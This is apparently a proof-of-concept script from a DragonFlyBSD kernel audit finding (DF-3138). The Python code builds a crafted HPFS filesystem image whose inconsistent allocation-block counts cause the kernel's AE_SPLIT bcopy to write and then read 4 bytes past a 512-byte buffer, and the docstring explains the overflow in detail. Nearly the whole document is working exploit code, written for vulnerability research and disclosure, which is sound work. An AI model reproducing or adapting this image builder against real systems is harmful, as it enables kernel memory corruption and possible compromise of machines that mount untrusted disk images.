⬢ DragonFlyBSD Kernel Audit
DF-3138 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-3138 — crafted HPFS image: N files whose allocation tree makes
hpfs_addextentr's AE_SPLIT parent-fixup bcopy write past the end of a
512-byte AlSec buffer-cache buffer.

sys/vfs/hpfs/hpfs_alsubr.c:592-601 (and the twin at :401-411):

    case AE_SPLIT:
        bcopy(ranp, AB_LASTANP(rabp), sizeof(alnode_t) * 2);
        AB_ADDAN(rabp);

AB_LASTANP(abp) = AB_ALNODE(abp) + ab_busycnt - 1, so the 16-byte bcopy
overwrites the last busy alnode AND the entry at index ab_busycnt.  The
only bound is the loop condition 'rabp->ab_freecnt > 0'
(hpfs_alsubr.c:572) — an on-disk freecnt/busycnt pair that violates the
capacity invariant (nodes: 0x1E0/8 = 60) is never validated, so with
ab_busycnt = 61 and ab_freecnt = 1:

  * AB_LASTANP = an[60] lives in the sector slack bytes [500,508) of the
    512-byte AlSec buffer -> fully attacker-controlled an_lsn;
  * the bcopy writes an[61] at [508,516): [508,512) slack,
    [512,516) = 4 bytes PAST the end of the kernel heap buffer
    (value: ranp[1].an_lsn = the lsn of the just-allocated split AlSec,
    attacker-chosen via the free-run layout of the bitmap);
  * P then overflows (busycnt 62, freecnt 0) and splits itself; the
    split bcopy at hpfs_alsubr.c:229 reads source
    [as_ab+8+31*8, +31*8) = abs [268,516) -> 4-byte OOB READ of the same
    out-of-bounds word, copied into the new AlSec's last an_lsn and then
    dereferenced (breadalsec) in the children-reparenting loop at
    :691-704.

Tree per file k:
  fnode k (AB_NODES, 1 entry) -> Pk (AB_NODES, busycnt=61, freecnt=1,
  an[60] in slack -> Ck) -> Ck (leaves, busycnt=40 FULL, freecnt=0).
  A 1-byte pwrite at offset 512 recurses to Ck, which is full and splits
  immediately -> AE_SPLIT propagates to Pk's frame -> the :599 bcopy
  writes 4 bytes past Pk's buffer; Pk then splits (OOB read); the split
  propagates to the fnode root (:410, in-bounds there).

usage: craft_img.py <out.img> [nfiles]
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x1000
NFILES = 40
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
AS_MAGIC = 0x37E40AAE
AB_NODES = 0x80

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6
AS_OFF_AB = 0x0C
AS_OFF_ABD = 0x14

def build(outpath, nfiles=NFILES):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, IMGSEC)
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)
    wr64(0x11 * SECTOR, SP_MAGIC)

    wr32(0x30 * SECTOR, 0x38)
    bm = 0x38 * SECTOR
    for i in range(0x200):          # everything below 0x200 busy
        b = bm + (i >> 3)
        if b < len(img):
            img[b] &= ~(1 << (i & 7))
    for i in range(0x200, 0x400):   # free run for the split allocations
        b = bm + (i >> 3)
        img[b] |= (1 << (i & 7))

    # --- root fnode + dirblk with nfiles entries ---
    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)
    wr32(rf + FN_OFF_SIZE, 4 * SECTOR)

    db = 0x40 * SECTOR
    wr32(db + 0, D_MAGIC); wr32(db + 12, 0x20); wr32(db + 16, 0x40)
    dep = db + 20
    for k in range(nfiles):
        name = ("F%02d" % k).encode()
        reclen = ((0x2f + len(name)) + 3) & ~3
        wr16(dep + 0x00, reclen); wr16(dep + 0x02, 0)
        wr32(dep + 0x04, 0x60 + 3 * k)          # -> fnode k
        wr64(dep + 0x08, 0); wr32(dep + 0x10, 512)
        wr64(dep + 0x18, 0); wr64(dep + 0x20, 0); wr32(dep + 0x28, 0)
        img[dep + 0x2e] = len(name)
        for i, c in enumerate(name):
            img[dep + 0x2f + i] = c
        dep += reclen
    wr16(dep + 0x00, 4 * SECTOR - (dep - db))
    wr16(dep + 0x02, 0x08)
    wr32(db + 4, (dep + 4) - db)

    # --- per-file: fnode k @ X, Pk @ X+1, Ck @ X+2 ---
    for k in range(nfiles):
        X = 0x60 + 3 * k
        ff = X * SECTOR
        wr32(ff + FN_OFF_MAGIC, FN_MAGIC)
        wr32(ff + FN_OFF_PARENT, 0x20)
        wr8(ff + FN_OFF_NAMELEN, 3)
        img[ff + FN_OFF_NAME:ff + FN_OFF_NAME + 3] = ("F%02d" % k).encode()
        wr8(ff + FN_OFF_FLAG, 0)                  # VREG
        wr32(ff + FN_OFF_SIZE, 512)
        img[ff + FN_OFF_AB + AB_OFF_FLAG] = AB_NODES
        img[ff + FN_OFF_AB + AB_OFF_FREECNT] = 0xB
        img[ff + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
        wr16(ff + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 8)
        wr32(ff + FN_OFF_ABD + 0, 0xFFFFFFFF)
        wr32(ff + FN_OFF_ABD + 4, X + 1)          # an[0] -> Pk

        # Pk: AB_NODES, busycnt=61 (> 60 capacity), freecnt=1
        p = (X + 1) * SECTOR
        wr32(p + 0, AS_MAGIC); wr32(p + 4, X + 1); wr32(p + 8, X)
        img[p + AS_OFF_AB + AB_OFF_FLAG] = AB_NODES
        img[p + AS_OFF_AB + AB_OFF_FREECNT] = 1
        img[p + AS_OFF_AB + AB_OFF_BUSYCNT] = 61
        wr16(p + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 61 * 8)   # 496
        for j in range(61):
            ao = p + AS_OFF_ABD + 8 * j
            if j == 60:
                # an[60] = [500,508): sector slack, attacker-controlled
                wr32(ao + 0, 0xFFFFFFFF)
                wr32(ao + 4, X + 2)               # -> Ck
            else:
                wr32(ao + 0, 0xFFFFFFFF)
                wr32(ao + 4, X + 2)               # filler -> Ck (valid)
        # (an[61] at [508,516) is what the :599 bcopy will write:
        #  [508,512) slack + [512,516) PAST the 512-byte buffer)

        # Ck: leaves, busycnt=40 (full), freecnt=0 -> splits immediately
        c = (X + 2) * SECTOR
        wr32(c + 0, AS_MAGIC); wr32(c + 4, X + 2); wr32(c + 8, X + 1)
        img[c + AS_OFF_AB + AB_OFF_FLAG] = 0
        img[c + AS_OFF_AB + AB_OFF_FREECNT] = 0
        img[c + AS_OFF_AB + AB_OFF_BUSYCNT] = 40
        wr16(c + AS_OFF_AB + AB_OFF_FREEOFF, 8 + 40 * 12)  # 488
        for j in range(40):
            ao = c + AS_OFF_ABD + 12 * j
            if j == 0 or j == 39:
                # leaf[39] is N1's last leaf after the split; must satisfy
                # al_off+al_len == 1 (ralp->al_off) for the insert to work
                wr32(ao + 0, 0); wr32(ao + 4, 1); wr32(ao + 8, 0x100)
            elif j == 1:
                # leaf used by the 1-byte data write after the fixups
                wr32(ao + 0, 1); wr32(ao + 4, 1); wr32(ao + 8, 0x103)
            else:
                wr32(ao + 0, j); wr32(ao + 4, 1); wr32(ao + 8, 0x110 + j)

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: %d sectors, %d trigger files "
          "(P busycnt=61, freecnt=1 -> :599 bcopy an[61] = "
          "b_data[508:516), 4 bytes OOB)" % (outpath, IMGSEC, nfiles))

if __name__ == '__main__':
    build(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else NFILES)